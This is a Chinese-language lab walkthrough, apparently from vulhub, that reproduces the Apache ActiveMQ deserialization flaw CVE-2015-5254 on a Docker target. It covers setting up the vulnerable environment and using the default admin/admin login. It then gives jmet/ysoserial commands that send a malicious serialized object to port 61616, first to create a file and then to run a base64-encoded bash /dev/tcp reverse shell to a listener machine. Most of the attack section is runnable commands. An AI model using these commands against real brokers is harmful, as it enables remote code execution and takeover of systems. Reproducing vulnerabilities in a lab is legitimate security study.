ActiveMQ 反序列化漏洞(CVE-2015-5254)
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
vulhub漏洞复现
cd activemq/
cd CVE-2015-5254/
docker-compose build #重新编译靶场环境
docker-compose up -d #开启靶场
docker-compose ps #查看端口
docker-compose down #关闭靶场
activemq的web管理页面为http://192.168.126.128:8161/admin/index.jsp?printable=true
默认账号密码为admin,admin
漏洞利用
攻击机:Windows
目标机:ubuntu 192.168.126.128
监听机:kalilinux:192.168.126.130
1.构造可执行命令的反序列化对象
Jmet可以使用ysoserial生成Payload并发送
下载jmet,
https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
并且在同一目录下创建一个名为external的文件夹。
Jmet命令:java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/hacker" -Yp ROME 192.168.126.128 61616
访问http://192.168.126.128:8161/admin/browse.jsp?JMSDestination=event
,可以看到全部消息
点击此消息即可触发创建文件的命令执行。
此时进入activemq镜像的脚本执行模式: docker compose exec activemq bash
可以看到hacker被创建,命令执行成功。
可以将命令替换为反弹一句话shell
1.开启kali 打开netcat,开启监听:nc -lvvp 8080
2.构造shell:bash -i >& /dev/tcp/192.168.126.130/8080 0>&1
将shell进行base64加密为:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMzAvODA4MCAwPiYx
3.继续使用jmet 将命令替换为反弹shell
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMzAvODA4MCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.126.128 61616
4.点击消息触发命令执行
5.shell反弹成功,成功获取到shell虚拟终端控制环境。